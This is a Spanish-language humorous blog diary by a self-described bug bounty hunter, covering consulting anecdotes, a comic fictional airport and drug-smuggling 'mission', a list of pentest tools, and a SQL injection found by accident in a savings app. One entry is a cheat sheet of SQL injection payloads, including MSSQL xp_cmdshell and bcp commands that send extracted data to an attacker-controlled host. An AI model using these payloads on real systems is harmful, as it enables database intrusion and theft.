Martes, 24 de Octubre de 2017: Siempre hay que decir que si

Querido diario..

Hace muchos años, en los tiempos en que existía el RTM Security Team, hice una sección; que si no mal recuerdo se llamaba “vPasswordList”, era un formulario donde invitaba a la gente a meter su password, se almacenaba en un TXT y ese TXT era descargable. Antes de que te quejes, en ese entonces no existían los leaks masivos que hay ahora, de hecho lo más “leak” creo que había sido el que generó rockyou.txt

Obvio muchos se quejaron porque decían que iba a hacer una relación de varias cosas para determinar de quién había sido el password, así que no sirvió de mucho mi idea de hacer un diccionario. Y ayer me acordé por esto:

Bueno… dejando de lado las comicidades del día. Un día, cuando yo aun era un consultor respetable, gran profesionista con mucho futuro, me mandaron a revisar la seguridad de una aplicación; pero cuando llegué no era una aplicación propiamente dicho… bueno si, porque ¿quién sabe que es una aplicación y que no es?, a lo que me refiero es que yo para ese entonces lo único que había revisado eran portales y bancas en línea; de pronto llegué y lo que vi fue el software que había desarrollado una empresa para controlar los tokens de autenticación y la administración (de forma muy básica) de varios tipos de biométricos.

Apenas vi la situación y dije #estacab%&/(esepe&/( e inmediatamente, como hace todo buen consultor, llame a mi gerente.

Pero mi gerente… ¡ah! si tuviese que definir la palabra jefe, diría que es él. Es el mejor jefe que he tenido, le vamos a llamar “El ingeniero”. El ingeniero era alguien de esas personas que ya ha pasado por mucho, tiene mucha experiencia, todo el tiempo se la pasaba leyendo; y era un experto en bases de datos, principalmente Oracle. Y algo que me enseño El ingeniero es a siempre decir que si, un verdadero consultor jamás duda.

Así que bueno, cuando vi mi aplicación que no era aplicación corrí como consultor senior asustado a decirle:

- Bueno
- ¡Ingeniero!, tenemos un problema
- ¿Qué pasó ingeniero?, ¿cómo esta?, ¿ya desayunó?, tomese un cafecito hombre, no hay problemas

Otra de las grandes virtudes de El ingeniero es su capacidad para conservar la calma, creo que eso también le aprendí. ¿Has visto el meme ese del perrito que esta en llamas y dice “I’m fine”, bueno, al Ingeniero lo llegué a ver en medio de unas vías sin poder arrancar el coche y decir “Oiga… jajaja… esta cosa no arranca ingeniero, nos van a aplastar hombre”.

Ya todo alterado le empecé a explicar que no entendía nada de como hacer la revisión de la aplicación, que tenía todo el día sin siquiera poder identificar una interfaz, que la aplicación no hacia nada y que estaba en un rincón llorando… pero el Ingeniero me dijo, una frase que siempre recuerdo cuando esty en crisis:

- Ingeniero, pues si todas las aplicaciones son lo mismo: autenticación, autorización, manejo de sesiones... ¿qué no maneja sesiones? pues no revise sesiones, que no tiene interfaz, pues no haga validación de entradas.. nada más lo que hay ingeniero
- Pero es que ese es el problema, no hace nada, ¡nada más autentica!
- Pues si nada más autentica, pues revise pura autenticación ingeniero

Para el Ingeniero la vida siempre era fácil y nosotros nos complicábamos todo, así que supongo que mucho de mi estilo actual de “gestión de proyectos” se lo aprendí a él. (Cabe señalar que pasé dos meses haciendo reversing a los drivers y firmware de los biométricos, lo cual.. creo que no venía en OWASP, ni era parte de la autenticación, pero psss.. el Ingeniero).

Por cierto… no tiene mucho que lo vi, hace como un mes viaje al Distrito Federal y aproveché para verlo a él y a otros amigos de mi vida normal. Pero bueno, sigamos…

El punto es que gracias a él aprendí que los consultores de seguridad son machos, que jamás dicen que no ¡ahhhh! y otra de las frases épicas del Ingeniero:

- Ingeniero, soluciones no preguntas ingeniero, soluciones.

Aprendí a que mi único objetivo en la vida es resolver situaciones complejas, con el menor esfuerzo posible y siempre cumpliendo con los objetivos. Deminios, querido diario… creo que fui entregado para ser un bug bounty hunter, desde antes de que lo fuese D:

El punto es… y a todo lo que va esto es… en dos semanas salgo para Colombia, a una de las mejores misiones de mi vida… pasara 12 kilogramos de cocaína haciendo no sé para evadir todos los controles de seguridad. ¿Cómo se hace eso?, pues bueno…. no tengo la menor idea.

Además de llevar a las Gemelas (mis dos pistolas de oro), aquí se necesita ser inteligente, no podemos andar dando balazos por todos lados. No sé a que me voy a enfrentar, sólo una vez he hackeado un aeropuerto y tiene mucho tiempo y fue para entrar al sistema corporativo del grupo empresarial al que le pertenecía, acá es diferente, hay que hacer cosas que no entiendo como hacerlas y no se que puedo esperar. La otra es que yo encuentro fallos en aplicaciones, la infraestructura no es lo mío, tiene mucho tiempo que no hago un pentest y estoy algo oxidado, así que llevaré algunas herramientas de uso general.

Primero que nada hay que contemplar de que me voy a enfrentar a quién sabe qué, así que lo primero será hacer un reconocimiento. Para ello se puede hacer primero un reconocimiento externo en el que tendré que hacer uso de búsquedas en fuentes abiertas, para eso a mi me gusta mucho Maltego; después de eso habrá que realizar una exploración lo cual yo para eso principalmente uso IP Network Browser, Nmap y Sonar; después de eso primero hay que buscar errores de configuraciones, errores de explotación inmediata y un análisis de vulnerabilidades sobre objetivos especificos que nos parezcan interesantes; yo para eso uso Nessus, DameWare, Burp Suite, Metasploit.. y finalmente atacar, que para eso Metasploit va también bien.

Ahora, todo esto hay que guardarlo en cierta parte.. no está demás llevar todo cifrado en un contenedor de VeraCrypt en un disco duro, con la máquina base completamente limpia y todo en máquinas virtuales. Yo sigo prefiriendo MS Windows para trabajar, pero obvio siempre hay que llevar Kali, por cualquier cosa.

Para la virtualización yo uso VMWare Fusion; pero el Workstation funcionará bien para los que su máquina base sea MS Windows o Linux; yo uso Apple para todo.

En cuanto a servicios, yo recomiendo instalar LAMP o XAMP, porque a veces es necesario pasar algún archivo dentro de la red para hacer movimientos laterales, también es posible usar para eso Netcat; pero hay que llevar de todo.

La primera vez que ataqué un aeropuerto fue por wireless, de hecho fue por error; así que olvidar llevar una antena; yo recomendaría mucho una Wifi Pineapple, ¡diablos!, las mías las tienen Janey y Beto… bueno, espero que no haya que atacar nada wireless.

Creo que con estas cosas básicas y muy generales estaré listo para trabajar en El Dorado.

Domingo, 22 de Octubre de 2017: Alerta aeropuerto

Querido diario…

Sé que no he escrito mucho, pero tuve dos semanas de demasiada presión… ya sabes, lo usual, disparos, muertos, narcos, tequila, mezcal, algo llamado “licor de la casa”, drogas, sexo, malas mujeres y por poco tengo que llevar a mi abogado a Tijuana; lo cual está raro porque se supone que los abogados ayudan a los criminales a escapar, no al revés… lo usual en la vida de un bug bounty hunter; pero por suerte ya estoy en casa. El día de ayer volví al desierto de Mexicali, donde básicamente.. pues sigue haciendo mucho calor. Fuera de eso todo es estático, sin avance… la ciudad ideal para alguien que un día está metido en medio de un robo de información, al siguiente clonando tarjetas y al otro en una fiesta llena de narcos con mujeres sudamericanas con escasa ropa. Nada como un poco de descanso.. pero no durará…

¡Ohhh por cierto!, tengo que contarte, yo siempre soy pésimo con el tiempo, siempre llego tarde a todo, y supongo que es porque… bueno, si, soy muy irresponsable; pero también es porque nací en una ciudad donde las distancias no se miden en metros, sino en minutos (u horas). El punto es que ayer tenía que ir a una panadería a recoger unos panecitos de Totoro:

Están deliciosos, rellenos como de arroz con leche y tienen forma de Totoro, justo hace dos semanas fui con Dania Pelo de Algodón de Azúcar a ver la película en el cine.

Entonces quise aprovechar que debía de pasar por los panes para comer y fui con mi familia a comer a un sitio llamado El convite, que tiene una langosta muy buena y tocan jazz mientras uno come. Hice mi maleta pero no la metí dentro de la cajuela, fui directo al aeropuerto y al bajar oh-oh.. no había maleta, así que hubo que volver y por poco pierdo el vuelo jajajajaja… ok, fue gracioso.

Ya hoy, pues bueno… no tengo mucho tiempo de descanso, así es la vida de un bug bounty hunter; es difícil vivir en un desierto sin tecnología. Además yo no tengo ética ni nada parecido, como dijese mi estimado amigo Leonel de León VII, soy el mercenario perfecto (yo diría que más bien sé muy bien lo que es pasar hambre).

Recibí la llamada de una tal Jessica, la voz era de esas voces inconfundibles, que cuando una las escucha ya sabe que algo malo esta pasando. Voz sudamericana, sexy, medio grave pero con ese acento que puede hacer a un hombre matar… y yo ha tengo las manos muy llenas de sangre.

- ¡vendetta!
- Buenos días, Augustus Inc. Pizza Factory, me llama usted, entonces voy, con peperonni su pizza hoy.
- Hum..

Bueno, parece que no le gustó mucho mi sentido del humor. Me dijo que me dejase de bromas y que respondiese el celular

- Estoy respondiendo el celular, lo tengo en la mano, ósea ¡jelooou!

Pero apenas terminé de hablar cuando escuché un timbre entre mi maleta, justo al lado de mis calzoncillos de hot-dogs había un celular Enigma; de esos que van cifrados de punto a punto que tanto les gustan a los alemanes.

Ya cuando vi el celular dejé de bromear. Este tipo de celulares funcionan bajo GSM pero tienen un cifradoa simétrico RSA de 1024 bits con 256 bits de cifrado simétrico; y tienen una autenticación de dos vías entre los teléfonos.

¿Cómo se supone que habían puesto ese celular entre mi ropa? y ¿cómo habían conseguido un teléfono de esos?, tienen un cifrado de nivel militar ocupado por el ejercicio alemán, no es algo que uno pueda ir a comprar en Telcel con 100 en Amigo Kit. Al verlo sabía que el asunto era serio, volvió a timbrar y respondí:

- Hola
- vendetta, requerimos de tus servicios para un servicio; no debes de preocuparte por nada
- Este... no sé, tendría que pensarlo ¿me puede pasar a la de RH para poder platicar sobre las prestaciones laborales?
- Recibirás una confirmación en este momento por correo electrónico. Será mejor que renueves tu pasaporte vencido desde hace tres meses. Viajarás y nuestro contacto en Bogotá te dará la mercancía. No te quieras hacer el listo, son 12 kilogramos contados de forma milimetrica. Adicional te darán una porción personal, regalo de la casa. Deberas de comprometer por medios electrónicos la seguridad aeropuertoaria del dorado y regresar a México con la carga completa y segura para su entrega.

Y colgaron antes de que pudiese decir algo… segundos más tarde:

Creo que es obvio que tipo de mercancía es, y… para la gente que hemos caído a lo más bajo de la seguridad, también sabemos quienes me han contratado. Recibí también un depósito por concepto de “viáticos”, direcciones y hasta la forma en que debo de llegar vestido. Bueno… hay una regla que tiene la vida de un bug bounty hunter. Trabajamos para quién nos paga; algunos lo hacen por dinero, otros porque son malas personas… yo, porque es el único empleo que puedo conseguir en Mexicali…

Obviamente tengo una detallada planificación para este “proyecto”:


Me he puesto a ver todos los capítulos de Alerta Aeropuerto,  ante todo soy un profesional…

Grr…  ¿por qué me pasan estas cosas a mi?; pensar que hace unos días me ofrecieron trabajo haciendo investigación en controles de seguridad para sistemas embebidos en coches en Múnich, y hum… bueno, dicen que la bandeja paisa es muy rica.

Lunes, 16 de Octubre de 2017: Un ingeniero macho

Querido diario; hoy pasé mi prueba de fuego:

Es gracioso; en los últimos meses he aprendido que un firewall no es un muro con llamas; que un IPS es más que esa cosa que te bloquea cuando le lanzas un nmap con -T5, que un WAF es más que la cosa por la cual te pasas horas y horas pensando como configurar Acunetix, y un servidor es más que un 10.1.1.23

Ya soy un hombre de verdad ¡groooar!

¡Oh!, por cierto; el enlace de lo que hoy toda la gente de la seguridá está hablando: https://www.krackattacks.com/

Hace rato un amigo llamado Beto me preguntó si no se debiese como avisar de las implicaciones… y bueno si, pero.. pss.. digamos que estrictamente una empresa debiese de estar segura porque tiene otros controles compensatorios como cifrado, uso de VPN’s, uso de protocolos seguros, certificados, PKI, etc.. peroooooo la realidad es que coff.. coff.. bueno 😛 Beto tiene razón… se les debiese de avisar.

Martes, 10 de Octubre de 2017: lobotomía laboral

Querido diario… mi promedio de trabajo es inversamente proporcional a mi promedio de chateo. Estos días prácticamente he desaparecido del mundo.

Necesito revisar una aplicación que tiene versiones móviles, curiosamente la autenticación tiene un doble factor y es sólo por móvil; me dieron el IPA y el APK. Intenté con Android y… pues…

Reinicie, reinicie y reinicie… y nunca se desactivo el Hypervisor-V así que pues coff..  mañana intentaré otra cosa porque no he tenido tiempo.

Hoy la Señorita RH me dijo… ¡ah! si, tengo una Señorita RH, no es como RH normal, ella en realidad hum… creo que sólo se encarga que en ningún momento me llegué mi lapsus ético; bueno, me dijo “y si no te gusta el calor, las tortillas de harina, ¿por qué no regresas?”.. contesté con un táctico “si no viviese allí, probablemente tendría un buen empleo… de hecho, si no fuese por Mexicali, jamás habría conocido a Mam”.

Después de la plática con señorita RH acepté mandar mi correo para un trabajo que me ofrecieron en Austria, para dedicarme a revisar cosas en la nube, SCADA/ISC, de esas aplicaciones en donde sólo se tienen un montón de webservices que no se sabe para que sirven, pero para algo sirven.

Y ya que tenía todo dije… “Ahhhh… demonios” y me puse a hacer, lo que sea que se supone que hago… fue un día malo.

 

Sábado, 7 de Octubre de 2017: vacaciones forza… todas pagadas.

Querido diario…

Te escribo desde un aeropuerto, ¿dónde?, no te lo puedo decir; ¿esperando que vuelo?, es algo que tampoco te puedo decir.

Bueno… ser buena persona no es precisamente mi mejor talento…

A veces uno no puede resistir las ganas de meter una comilla por todos lados, suena muy guarro, pero es como cuando tienes 15 años y de pronto cuando se apagan las luces dices “¡ay!… se me fue”… bueno, pues así es cuando uno anda usando aplicaciones, de pronto uno quiere comprar calzoncillos y zas “se me fue una comilla” 😛

Bueno, seguramente también recordarán que recibieron una cachetada y probablemente llegó el papá de la ente feminoide con una escopeta… bueno, pues aquí llegaron unos policías, con un juez y me dieron unos tehuacanazos con pocito.

Y es que.. querido diario.. psss… sé qué suena complejo de creer, pero mira.. yo pues nada más le puse una comilla a un nombre, ¿yo cómo iba a saber que eso iba a estar dentro de una variable?, pues si, estaba dentro de una variable, y que un programador no validó bien la variable y entonces cuando yo intentaba sacar mi dinero pues… no podía. ¿Acaso tú no intentarías sacar tu dinero aunque no te deje la aplicación?.

Bueno… no sé, de pronto la comilla se convirtió en un ‘1 or 1=1– y cuando menos me di cuenta, pues…

'>">
' " ) # || + >
%09select 
tab%09
carriage return%13
linefeed%10
space%32
and
or
update
insert
exec
' waitfor delay '0:0:10'--

¿Qué?, ¿tú no usas ese tipo de nombres en tus cuentas bancarias?… pero si son de lo más comunes. De hecho conozco otros…

' group by [columneishons] having 1=1 - -
' union select 1,1,'cosa',1,1,1 - -
' union select 1,1, 99999999999999999,1,1,1 - -
' and 1 in (select 'cosa' ) - -
' and where cosa='cosa' and '1'='1
'; if where cosa='cosa' waitfor delay '0:0:5' --
'; union select if( where cosa='cosa' , benchmark (100000, sha1('cosa')), 'false' ),1,1,1,1;

… y pues bueno, allí estaba yo, metiendo nombres y más nombres a mis cuentas bancarias… y de pronto como que me di cuenta de que la aplicación me arrojaba algo como que users table, cosas tables y pues no sé, quería ver que tables eran esas tables.

SELECT cosa FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tabla')
sp_columns tablename

Luego de la tabla, te das cuenta que hay otras bases de datos…

' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --

Y entonces dices “ahhh pues de aquí soy”, y quieres ver si puedes sacar unos usuarios y contraseñas

'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' 'from users where login>@varselect @var as var into temp end --

Pero no, no corrí con tanta suerte… ese tipo de errores ya no se dan tan fácil, lo que eso si…

'; create table AttackerTable (data cosa) --
'; bulk insert AttackerTable -- from 'pwdump2.exe' with (codepage='RAW')
'; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',' MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --
'; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvendetta -..quesadilla!!' --

Y lo sé.. me pasé.. acto seguido.. estoy aquí, arriba de un avión. Tal vez es un buen momento para escribir algo como:

Toda la información contenida en este diario es ficticia y mero entretenimiento, y/o para fines educativos. El autor no se hace responsable de actos delictivos del mal uso de esta información.

Querido diario… ¿sabías que Timbuktú de verdad existe?.

Viernes, 6 de Octubre de 2017: Ahorro obligatorio

Querido diario…

Yo soy pésimo ahorrando, no sé si sabrás pero desde que tengo recuerdo mis finanzas han sido muuuuuy malas; los bancos no me tienen mucho aprecio que digamos, y ahora que milagrosamente los planetas se han alineado y me ha estado yendo bien económicamente he probado diferentes formas de ahorro e inversión.

Una de las que recientemente he probado se llama Piggo, que es un fondo de inversión “cool”. Su idea es simplificar la inversión y hacerla entendible a un riesgo relativamente bajo. La aplicación a mi me parece malísima, esta pensada a ser completamente móvil, y cuando uno entra a una aplicación web espera tener más opciones que en la móvil, pero aquí es lo contrario. Otra de las ideas de Piggo es que ahorras para objetivos mundanos, en vez de pensar como inversor en cuando es tu margen de ganancia y demás, acá simplemente defines un objetivo “Comprar una casa”, defines tu ahorro inicial “$1000” y luego programas una domiciliazación periódica quincenal o mensual para cumplir la meta, entonces cada que recibas tu sueldo (usualmente en México quincenalmente) puedes programar un cargo automático, para como dicen por allí “si no lo tengo, no me lo gasto”.

La otra opción de Piggo es que defines tu nivel de riesgo… no explicaré mucho eso porque psss es cosa de inversiones, pero el punto es que la aplicación en automático te genera perdidas o ganancias hasta que llegas a tu objetivo, en ese momento deja de hacer los cobros y te congela tu dinero para que puedas retirarlo a tu cuenta bancaria o a la caja chica de Piggo para definir otro objetivo de ahorro. De hecho la clave de todo es que jamás maneja el término inversión, sino todo es ahorro.

Pues bueno… como yo apenas estaba probado si funcionaba o no, la descargué, me registré y al hacerlo te pide crear el primer objetivo de ahorro, como no tenía idea pensé en ponerle “Dinero para calzoncillos nuevos” pero luego dije “nah, que tal si un día tengo que pedir soporte y lee quién me atienda que mis calzoncillos están viejos, entonces le puse “Sexo, drogas & rock ‘n roll”… programé la meta de ahorro, hice mi ahorro inicial, puse el nivel de riesgo, y listo.

Como no fue mucho le puse el 100% del capital a un nivel de riesgo altísimo y un retiro sólo para probar como funcionaba la domiciliazación de ahorros. Todo iba bien, ayer gané bastante y llegué a mi objetivo en dos días. Todo era felicidad, dije “¡ots!, peroooooo.. hoy intenté sacar el dinero para ir a comprar mis calzoncillos nuevos y:

¿Qué pajoooooo?.. pues que la comilla está rompiendo la query. Y ahora mi dinero está encerrado.

Y ahora querido diario… entenderas que es un poco complicado marcar a un call center y decirle a quién te atiende “oye.. ¿sabes?, le encontré un SQL Injection a tu aplicación.. y de pasó deje mi dinero congelado, ¿me puedes ayudar?”.

Después de como dos horas en las que pasé de operador a operador y no entendían como ayudarme porque jamás les había pasado que a alguien se le ocurría poner esa comilla. Me dijeron “no entendemos, pero haremos la transferencia manual el lunes”.

Querido diario… últimamente me pasa que tengo dinero, pero por causas como que no aceptan tarjeta, PayPal, ApplePay o porque básicamente fui bendecido con un talento increible por los dioses para encontrar vulnerabilidades de una forma mágica hasta cuando intento no hacerlo; no tengo dinero.

¡Hey.. no intentes explotar el SQL injection!, es autenticado y en México son mínimo 6 años como delito federal 😉